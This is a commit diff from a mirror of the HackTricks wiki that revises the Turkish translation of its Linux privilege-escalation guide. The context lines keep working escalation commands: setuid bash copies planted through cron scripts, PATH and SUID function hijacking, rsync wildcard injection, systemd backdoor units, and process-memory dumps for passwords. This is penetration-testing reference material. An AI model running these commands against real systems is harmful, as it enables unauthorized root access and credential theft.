mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l
This commit is contained in:
parent
da952d05fc
commit
45745a9319
@ -96,6 +96,7 @@
|
||||
|
||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
||||
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
|
@ -39,17 +39,17 @@ O web sitesinden tüm savunmasız çekirdek sürümlerini çıkarmak için şunl
|
||||
```bash
|
||||
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
|
||||
```
|
||||
Kernal açıklarını aramak için yardımcı olabilecek araçlar şunlardır:
|
||||
Kerneli açıklarını aramak için yardımcı olabilecek araçlar şunlardır:
|
||||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (kurban üzerinde çalıştırın, yalnızca 2.x kernel için açıkları kontrol eder)
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (kurban üzerinde çalıştırın, yalnızca 2.x çekirdekleri için açıkları kontrol eder)
|
||||
|
||||
Her zaman **Google'da kernel sürümünü arayın**, belki kernel sürümünüz bazı kernel açıklarında yazılıdır ve bu durumda bu açığın geçerli olduğundan emin olursunuz.
|
||||
Her zaman **Google'da çekirdek sürümünü arayın**, belki de çekirdek sürümünüz bazı çekirdek açıklarında yazılıdır ve bu durumda bu açığın geçerli olduğundan emin olursunuz.
|
||||
|
||||
### CVE-2016-5195 (DirtyCow)
|
||||
|
||||
Linux Yetki Yükseltme - Linux Kernel <= 3.19.0-73.8
|
||||
Linux Yetki Yükseltme - Linux Çekirdeği <= 3.19.0-73.8
|
||||
```bash
|
||||
# make dirtycow stable
|
||||
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
|
||||
@ -131,7 +131,7 @@ docker-security/
|
||||
|
||||
## Drives
|
||||
|
||||
**Nelerin monte edildiğini ve monte edilmediğini**, nerede ve neden olduğunu kontrol edin. Eğer herhangi bir şey monte edilmemişse, onu monte etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz.
|
||||
**Nelerin monte edildiğini ve monte edilmediğini**, nerede ve neden kontrol edin. Eğer herhangi bir şey monte edilmemişse, onu monte etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz.
|
||||
```bash
|
||||
ls /dev 2>/dev/null | grep -i "sd"
|
||||
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
|
||||
@ -148,10 +148,10 @@ Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını kontrol edin**.
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
### Güvenlik Açığı Olan Yazılımlar Yüklü
|
||||
### Vulnerable Software Installed
|
||||
|
||||
Yüklenen **paketlerin ve hizmetlerin sürümünü** kontrol edin. Belki de ayrıcalıkları artırmak için istismar edilebilecek eski bir Nagios sürümü vardır (örneğin)...\
|
||||
Daha şüpheli olan yüklü yazılımların sürümünü manuel olarak kontrol etmeniz önerilir.
|
||||
Yüklenmiş **paketlerin ve hizmetlerin sürümünü** kontrol edin. Belki de ayrıcalıkları artırmak için istismar edilebilecek eski bir Nagios sürümü vardır (örneğin)...\
|
||||
Daha şüpheli yüklenmiş yazılımların sürümünü manuel olarak kontrol etmeniz önerilir.
|
||||
```bash
|
||||
dpkg -l #Debian
|
||||
rpm -qa #Centos
|
||||
@ -160,40 +160,40 @@ Eğer makineye SSH erişiminiz varsa, makine içinde yüklü olan eski ve savunm
|
||||
|
||||
> [!NOTE] > _Bu komutların çoğunlukla işe yaramayacak çok fazla bilgi göstereceğini unutmayın, bu nedenle yüklü yazılım sürümlerinin bilinen açıklar için savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri bazı uygulamaların kullanılması önerilir._
|
||||
|
||||
## İşlemler
|
||||
## Süreçler
|
||||
|
||||
**Hangi işlemlerin** çalıştırıldığını kontrol edin ve herhangi bir işlemin **gerektiğinden daha fazla ayrıcalığa** sahip olup olmadığını kontrol edin (belki root tarafından çalıştırılan bir tomcat?).
|
||||
**Hangi süreçlerin** çalıştığına bir göz atın ve herhangi bir sürecin **gerektiğinden daha fazla ayrıcalığa** sahip olup olmadığını kontrol edin (belki root tarafından çalıştırılan bir tomcat?).
|
||||
```bash
|
||||
ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Her zaman [**electron/cef/chromium hata ayıklayıcılarının** çalışıp çalışmadığını kontrol edin, bunu ayrıcalıkları artırmak için kötüye kullanabilirsiniz](electron-cef-chromium-debugger-abuse.md). **Linpeas**, sürecin komut satırında `--inspect` parametresini kontrol ederek bunları tespit eder.\
|
||||
Ayrıca **işlemlerin ikili dosyaları üzerindeki ayrıcalıklarınızı kontrol edin**, belki birinin üzerine yazabilirsiniz.
|
||||
Her zaman [**electron/cef/chromium debuggers**'ın çalışıp çalışmadığını kontrol edin, bunu yetkileri artırmak için kötüye kullanabilirsiniz](electron-cef-chromium-debugger-abuse.md). **Linpeas**, sürecin komut satırında `--inspect` parametresini kontrol ederek bunları tespit eder.\
|
||||
Ayrıca **işlemlerin ikili dosyaları üzerindeki yetkilerinizi kontrol edin**, belki birinin üzerine yazabilirsiniz.
|
||||
|
||||
### Süreç izleme
|
||||
|
||||
[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sıkça yürütülen veya belirli bir dizi gereksinim karşılandığında çalıştırılan savunmasız süreçleri tanımlamak için çok yararlı olabilir.
|
||||
[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sıkça yürütülen veya belirli bir gereksinim seti karşılandığında çalıştırılan savunmasız süreçleri tanımlamak için çok yararlı olabilir.
|
||||
|
||||
### Süreç belleği
|
||||
|
||||
Bir sunucunun bazı hizmetleri **şifreleri düz metin olarak bellekte saklar**.\
|
||||
Genellikle, diğer kullanıcılara ait süreçlerin belleğini okumak için **root ayrıcalıklarına** ihtiyacınız olacaktır, bu nedenle bu genellikle zaten root olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha faydalıdır.\
|
||||
Bir sunucunun bazı hizmetleri **şifreleri açık metin olarak bellekte saklar**.\
|
||||
Genellikle, diğer kullanıcılara ait süreçlerin belleğini okumak için **root yetkilerine** ihtiyacınız olacaktır, bu nedenle bu genellikle zaten root olduğunuzda ve daha fazla şifre keşfetmek istediğinizde daha faydalıdır.\
|
||||
Ancak, **normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabileceğinizi unutmayın**.
|
||||
|
||||
> [!WARNING]
|
||||
> Günümüzde çoğu makinenin **varsayılan olarak ptrace'a izin vermediğini** unutmayın, bu da ayrıcalıksız kullanıcılarınıza ait diğer süreçleri dökemezsiniz anlamına gelir.
|
||||
> Günümüzde çoğu makine **varsayılan olarak ptrace'a izin vermez**, bu da yetkisiz kullanıcınıza ait diğer süreçleri dökemezsiniz anlamına gelir.
|
||||
>
|
||||
> _**/proc/sys/kernel/yama/ptrace_scope**_ dosyası ptrace erişimini kontrol eder:
|
||||
>
|
||||
> - **kernel.yama.ptrace_scope = 0**: tüm süreçler, aynı uid'ye sahip oldukları sürece hata ayıklanabilir. Bu, ptracing'in klasik çalışma şeklidir.
|
||||
> - **kernel.yama.ptrace_scope = 1**: yalnızca bir ana süreç hata ayıklanabilir.
|
||||
> - **kernel.yama.ptrace_scope = 2**: Yalnızca yönetici ptrace kullanabilir, çünkü bu CAP_SYS_PTRACE yeteneğini gerektirir.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Bir kez ayarlandığında, ptracing'i yeniden etkinleştirmek için bir yeniden başlatma gerekir.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Bir kez ayarlandığında, ptracing'i tekrar etkinleştirmek için yeniden başlatma gereklidir.
|
||||
|
||||
#### GDB
|
||||
|
||||
Bir FTP hizmetinin belleğine erişiminiz varsa (örneğin) Heap'i alabilir ve içindeki kimlik bilgilerini arayabilirsiniz.
|
||||
Bir FTP hizmetinin belleğine erişiminiz varsa (örneğin) Heap'i alabilir ve içindeki şifreleri arayabilirsiniz.
|
||||
```bash
|
||||
gdb -p <FTP_PROCESS_PID>
|
||||
(gdb) info proc mappings
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Verilen bir işlem kimliği için, **maps o işlemin** sanal adres alanında belleğin nasıl haritalandığını gösterir; ayrıca **her haritalanmış bölgenin izinlerini** de gösterir. **mem** sanal dosyası **işlemin belleğini** kendisi açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu** ve bunların ofsetlerini biliyoruz. Bu bilgiyi **mem dosyasına erişmek ve tüm okunabilir bölgeleri** bir dosyaya dökmek için kullanıyoruz.
|
||||
Verilen bir işlem kimliği için, **maps o işlemin** sanal adres alanında belleğin nasıl haritalandığını gösterir; ayrıca **her haritalanmış bölgenin izinlerini** de gösterir. **mem** sanal dosyası **işlemin belleğini** kendisi açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu** ve bunların ofsetlerini biliyoruz. Bu bilgiyi, **mem dosyasına erişmek ve tüm okunabilir bölgeleri** bir dosyaya dökmek için kullanıyoruz.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -270,7 +270,7 @@ Bir işlem belleğini dökmek için şunları kullanabilirsiniz:
|
||||
|
||||
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Root gereksinimlerini manuel olarak kaldırabilir ve sizin sahip olduğunuz işlemi dökebilirsiniz
|
||||
- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) üzerindeki Script A.5 (root gereklidir)
|
||||
- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adresindeki Script A.5 (root gereklidir)
|
||||
|
||||
### İşlem Belleğinden Kimlik Bilgileri
|
||||
|
||||
@ -334,9 +334,9 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
#Wait cron job to be executed
|
||||
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
|
||||
```
|
||||
### Cron bir joker karakterle bir script kullanma (Joker Karakter Enjeksiyonu)
|
||||
### Cron bir joker karakterle bir script kullanarak (Joker Karakter Enjeksiyonu)
|
||||
|
||||
Eğer root tarafından yürütülen bir script bir komutun içinde “**\***” içeriyorsa, bunu beklenmedik şeyler (örneğin privesc) yapmak için kullanabilirsiniz. Örnek:
|
||||
Eğer root tarafından yürütülen bir script bir komut içinde “**\***” içeriyorsa, bunu beklenmedik şeyler yapmak için kullanabilirsiniz (örneğin, privesc). Örnek:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
@ -348,15 +348,15 @@ Daha fazla joker karakter istismar hilesi için aşağıdaki sayfayı okuyun:
|
||||
wildcards-spare-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
### Cron scripti üzerine yazma ve symlink
|
||||
### Cron script'i üzerine yazma ve symlink
|
||||
|
||||
Eğer **root tarafından yürütülen bir cron scriptini değiştirebiliyorsanız**, çok kolay bir şekilde bir shell alabilirsiniz:
|
||||
Eğer **root tarafından yürütülen bir cron script'ini değiştirebiliyorsanız**, çok kolay bir şekilde bir shell alabilirsiniz:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Eğer root tarafından yürütülen script, **tam erişiminizin olduğu bir dizini** kullanıyorsa, belki de o klasörü silmek ve **sizin kontrolünüzdeki bir script'i barındıran başka birine symlink klasörü oluşturmak** faydalı olabilir.
|
||||
Eğer root tarafından yürütülen script, **tam erişiminiz olan bir dizini kullanıyorsa**, belki de o klasörü silmek ve **kontrolünüzdeki bir script'i sunan başka birine symlink klasörü oluşturmak** faydalı olabilir.
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
@ -380,16 +380,16 @@ Bir cron işi **bir yorumdan sonra bir satır sonu karakteri olmadan bir taşıy
|
||||
|
||||
### Yazılabilir _.service_ dosyaları
|
||||
|
||||
Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin, eğer yazabiliyorsanız, **bunu değiştirebilir** ve **hizmet başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **arka kapınızı çalıştıracak** şekilde ayarlayabilirsiniz (belki makinenin yeniden başlatılmasını beklemeniz gerekecek).\
|
||||
Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin, eğer yazabiliyorsanız, onu **değiştirerek** hizmet **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **arka kapınızı çalıştıracak** şekilde **ayarlayabilirsiniz** (belki makinenin yeniden başlatılmasını beklemeniz gerekecek).\
|
||||
Örneğin, arka kapınızı .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile oluşturun.
|
||||
|
||||
### Yazılabilir hizmet ikili dosyaları
|
||||
|
||||
Eğer **hizmetler tarafından yürütülen ikili dosyalar üzerinde yazma izinleriniz varsa**, bunları arka kapılar için değiştirebilirsiniz, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır.
|
||||
Hizmetler tarafından yürütülen ikili dosyalar üzerinde **yazma izinleriniz** varsa, bunları arka kapılarla değiştirebileceğinizi unutmayın, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır.
|
||||
|
||||
### systemd PATH - Göreli Yollar
|
||||
|
||||
**systemd** tarafından kullanılan PATH'i görebilirsiniz:
|
||||
**systemd** tarafından kullanılan PATH'i şu şekilde görebilirsiniz:
|
||||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
@ -399,7 +399,7 @@ ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Sonra, yazabileceğiniz systemd PATH klasörü içinde **göreli yol ikili dosyasıyla aynı isme sahip bir **çalıştırılabilir** dosya oluşturun ve hizmet, savunmasız eylemi (**Başlat**, **Durdur**, **Yenile**) gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacaktır** (yetkisiz kullanıcılar genellikle hizmetleri başlatamaz/durduramaz, ancak `sudo -l` kullanıp kullanamayacağınızı kontrol edin).
|
||||
Sonra, yazabileceğiniz systemd PATH klasörü içinde **göreli yol ikili dosyasıyla aynı isme sahip bir **çalıştırılabilir** dosya oluşturun ve hizmet, savunmasız eylemi (**Başlat**, **Durdur**, **Yenile**) gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacaktır** (yetkisiz kullanıcılar genellikle hizmetleri başlatamaz/durduramaz, ancak `sudo -l` kullanıp kullanamayacağınıza bakın).
|
||||
|
||||
**Hizmetler hakkında daha fazla bilgi edinin: `man systemd.service`.**
|
||||
|
||||
@ -413,13 +413,13 @@ systemctl list-timers --all
|
||||
```
|
||||
### Yazılabilir zamanlayıcılar
|
||||
|
||||
Eğer bir zamanlayıcıyı değiştirebiliyorsanız, onu bazı systemd.unit varlıklarını (örneğin bir `.service` veya bir `.target`) çalıştıracak şekilde ayarlayabilirsiniz.
|
||||
Eğer bir zamanlayıcıyı değiştirebiliyorsanız, onu systemd.unit'in bazı varlıklarını (örneğin bir `.service` veya bir `.target`) çalıştıracak şekilde ayarlayabilirsiniz.
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
Belgede, Birimin ne olduğunu okuyabilirsiniz:
|
||||
|
||||
> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, ancak son ek hariç. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı biriminin adı, son ek hariç, aynı şekilde adlandırılması önerilir.
|
||||
> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, yalnızca sonek hariç. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı biriminin adı, sonek hariç aynı şekilde adlandırılması önerilir.
|
||||
|
||||
Bu nedenle, bu izni kötüye kullanmak için şunları yapmanız gerekir:
|
||||
|
||||
@ -446,10 +446,10 @@ Soketler, `.socket` dosyaları kullanılarak yapılandırılabilir.
|
||||
**Soketler hakkında daha fazla bilgi için `man systemd.socket` komutunu öğrenin.** Bu dosya içinde, birkaç ilginç parametre yapılandırılabilir:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak bir özet, soketin **nerede dinleyeceğini belirtmek için** kullanılır (AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası vb.)
|
||||
- `Accept`: Bir boolean argümanı alır. Eğer **doğru** ise, her gelen bağlantı için bir **hizmet örneği oluşturulur** ve yalnızca bağlantı soketi ona iletilir. Eğer **yanlış** ise, tüm dinleme soketleri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi oluşturulur. Bu değer, tek bir hizmet biriminin koşulsuz olarak tüm gelen trafiği işlediği datagram soketleri ve FIFOs için göz ardı edilir. **Varsayılan olarak yanlıştır**. Performans nedenleriyle, yeni daemonların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir.
|
||||
- `Accept`: Bir boolean argümanı alır. Eğer **doğruysa**, her gelen bağlantı için bir **hizmet örneği oluşturulur** ve yalnızca bağlantı soketi ona iletilir. Eğer **yanlışsa**, tüm dinleme soketleri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi oluşturulur. Bu değer, tek bir hizmet biriminin koşulsuz olarak tüm gelen trafiği işlediği datagram soketleri ve FIFOs için göz ardı edilir. **Varsayılan olarak yanlıştır**. Performans nedenleriyle, yeni daemonların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir.
|
||||
- `ExecStartPre`, `ExecStartPost`: Dinleme **soketleri**/FIFOs **oluşturulmadan önce** veya **sonra** **çalıştırılan** bir veya daha fazla komut satırı alır. Komut satırının ilk token'ı mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelmelidir.
|
||||
- `ExecStopPre`, `ExecStopPost`: Dinleme **soketleri**/FIFOs **kapandıktan önce** veya **sonra** **çalıştırılan** ek **komutlar**.
|
||||
- `Service`: **Gelen trafik** üzerinde **etkinleştirilecek** **hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için geçerlidir. Varsayılan olarak, soketle aynı adı taşıyan hizmete (sonek değiştirilmiş) ayarlanır. Çoğu durumda, bu seçeneği kullanmak gerekli olmamalıdır.
|
||||
- `Service`: **Gelen trafiğe** göre **etkinleştirilecek** **hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için geçerlidir. Varsayılan olarak, soketle aynı adı taşıyan hizmete (sonek değiştirilmiş) ayarlanır. Çoğu durumda, bu seçeneği kullanmak gerekli olmamalıdır.
|
||||
|
||||
### Yazılabilir .socket dosyaları
|
||||
|
||||
@ -458,7 +458,7 @@ _Sistem, o soket dosyası yapılandırmasını kullanıyor olmalıdır, aksi tak
|
||||
|
||||
### Yazılabilir soketler
|
||||
|
||||
Eğer **herhangi bir yazılabilir soket** tespit ederseniz (_şimdi Unix Soketlerinden bahsediyoruz ve yapılandırma `.socket` dosyalarından değil_), o zaman **bu soketle iletişim kurabilirsiniz** ve belki bir açığı istismar edebilirsiniz.
|
||||
Eğer **herhangi bir yazılabilir soket** tespit ederseniz (_şimdi Unix Soketleri hakkında konuşuyoruz ve yapılandırma `.socket` dosyaları hakkında değil_), o zaman **bu soketle iletişim kurabilirsiniz** ve belki bir açığı istismar edebilirsiniz.
|
||||
|
||||
### Unix Soketlerini Listele
|
||||
```bash
|
||||
@ -481,7 +481,7 @@ socket-command-injection.md
|
||||
|
||||
### HTTP soketleri
|
||||
|
||||
HTTP istekleri için dinleyen bazı **soketlerin olabileceğini** unutmayın (_.socket dosyalarından değil, unix soketleri olarak işlev gören dosyalardan bahsediyorum_). Bunu kontrol etmek için:
|
||||
HTTP istekleri için dinleyen bazı **soketler** olabileceğini unutmayın (_.socket dosyalarından değil, unix soketleri olarak işlev gören dosyalardan bahsediyorum_). Bunu kontrol etmek için:
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
@ -564,13 +564,13 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus, uygulamaların verimli bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan karmaşık bir **İşlem Arası İletişim (IPC) sistemi**dir. Modern Linux sistemini göz önünde bulundurarak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar.
|
||||
|
||||
Sistem çok yönlüdür, süreçler arasında veri alışverişini artıran temel IPC'yi destekler ve **gelişmiş UNIX alan soketleri**ni andırır. Ayrıca, olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen bir çağrı sinyali, bir müzik çalarının sessize geçmesini sağlayabilir ve kullanıcı deneyimini artırabilir. Ayrıca, D-Bus, uygulamalar arasında hizmet taleplerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler ve geleneksel olarak karmaşık olan süreçleri kolaylaştırır.
|
||||
Sistem çok yönlüdür, süreçler arasında veri alışverişini artıran temel IPC'yi destekler ve **gelişmiş UNIX alan soketleri**ni andırır. Ayrıca, olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz bir entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen bir çağrı sinyali, bir müzik çalarının sessize geçmesini sağlayabilir ve kullanıcı deneyimini artırabilir. Ayrıca, D-Bus, uygulamalar arasında hizmet taleplerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler ve geleneksel olarak karmaşık olan süreçleri kolaylaştırır.
|
||||
|
||||
D-Bus, mesaj izinlerini (yöntem çağrıları, sinyal yayma vb.) toplu olarak eşleşen politika kurallarının etkisine göre yöneten bir **izin/verme modeli** üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri belirler ve bu izinlerin istismar edilmesi yoluyla yetki yükseltmeye olanak tanıyabilir.
|
||||
|
||||
`/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasında, root kullanıcısının `fi.w1.wpa_supplicant1`'den mesaj alması, göndermesi ve sahip olması için izinleri detaylandıran bir politika örneği sağlanmıştır.
|
||||
`/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasındaki böyle bir politikanın örneği, root kullanıcısının `fi.w1.wpa_supplicant1`'den mesaj almasını, göndermesini ve sahip olmasını detaylandırmaktadır.
|
||||
|
||||
Belirtilmiş bir kullanıcı veya grup içermeyen politikalar evrensel olarak uygulanırken, "varsayılan" bağlam politikaları, diğer belirli politikalarla kapsanmayan tüm durumlara uygulanır.
|
||||
Belirtilmiş bir kullanıcı veya grup içermeyen politikalar evrensel olarak uygulanır, "varsayılan" bağlam politikaları ise diğer belirli politikalarla kapsanmayan tüm durumlara uygulanır.
|
||||
```xml
|
||||
<policy user="root">
|
||||
<allow own="fi.w1.wpa_supplicant1"/>
|
||||
@ -656,7 +656,7 @@ gpg --list-keys 2>/dev/null
|
||||
Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalıkları artırmasına izin veren bir hatadan etkilenmiştir. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Bunu kullanarak istismar et**: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
### Gruplar
|
||||
|
||||
Kök ayrıcalıkları verebilecek **bir grubun üyesi olup olmadığınızı** kontrol edin:
|
||||
|
||||
@ -664,9 +664,9 @@ Kök ayrıcalıkları verebilecek **bir grubun üyesi olup olmadığınızı** k
|
||||
interesting-groups-linux-pe/
|
||||
{{#endref}}
|
||||
|
||||
### Clipboard
|
||||
### Panoya
|
||||
|
||||
Pano içinde ilginç bir şey olup olmadığını kontrol edin (mümkünse)
|
||||
Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol edin.
|
||||
```bash
|
||||
if [ `which xclip 2>/dev/null` ]; then
|
||||
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
|
||||
@ -694,11 +694,11 @@ Eğer çok fazla gürültü yapmaktan rahatsız değilseniz ve `su` ile `timeout
|
||||
|
||||
### $PATH
|
||||
|
||||
Eğer **$PATH'in bazı klasörlerine yazma izniniz olduğunu** bulursanız, **yazılabilir klasörde** farklı bir kullanıcı (ideali root) tarafından çalıştırılacak bir komutun adıyla bir arka kapı oluşturarak ayrıcalıkları artırma şansınız olabilir ve bu komut **yazılabilir klasörünüzden önceki** bir klasörden yüklenmiyor olmalıdır.
|
||||
Eğer **$PATH'in bazı klasörlerine yazabileceğinizi** bulursanız, **yazılabilir klasörde** farklı bir kullanıcı (ideali root) tarafından çalıştırılacak bir komutun adıyla bir arka kapı oluşturarak ayrıcalıkları artırma şansınız olabilir ve bu komut **yazılabilir klasörünüzden önce bulunan bir klasörden yüklenmiyor olmalıdır**.
|
||||
|
||||
### SUDO ve SUID
|
||||
|
||||
Bazı komutları sudo kullanarak çalıştırmanıza izin verilebilir veya suid biti olabilir. Bunu kontrol etmek için:
|
||||
Sudo kullanarak bazı komutları çalıştırmanıza izin verilebilir veya suid biti olabilir. Bunu kontrol etmek için:
|
||||
```bash
|
||||
sudo -l #Check commands you can execute with sudo
|
||||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||||
@ -763,15 +763,15 @@ export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
sudo less
|
||||
```
|
||||
Bu teknik, bir **suid** ikili dosyası **yolu belirtmeden başka bir komut çalıştırıyorsa (her zaman garip bir SUID ikilisinin içeriğini kontrol etmek için** _**strings**_ **kullanın)** durumunda da kullanılabilir.
|
||||
Bu teknik, bir **suid** ikili dosyası **yolu belirtmeden başka bir komut çalıştırıyorsa (her zaman garip bir SUID ikilisinin içeriğini kontrol etmek için** _**strings**_ **kullanın)**.
|
||||
|
||||
[Çalıştırılacak yük örnekleri.](payloads-to-execute.md)
|
||||
|
||||
### Komut yolu ile SUID ikili dosyası
|
||||
### Komut yolu ile SUID ikilisi
|
||||
|
||||
Eğer **suid** ikili dosyası **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman, suid dosyasının çağırdığı komutla aynı adı taşıyan bir **fonksiyonu dışa aktarmayı** deneyebilirsiniz.
|
||||
Eğer **suid** ikilisi **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman, suid dosyasının çağırdığı komutla aynı adı taşıyan bir **fonksiyonu dışa aktarmayı** deneyebilirsiniz.
|
||||
|
||||
Örneğin, eğer bir suid ikili dosyası _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, fonksiyonu oluşturmayı ve dışa aktarmayı denemelisiniz:
|
||||
Örneğin, eğer bir suid ikilisi _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, fonksiyonu oluşturmayı ve dışa aktarmayı denemelisiniz:
|
||||
```bash
|
||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
export -f /usr/sbin/service
|
||||
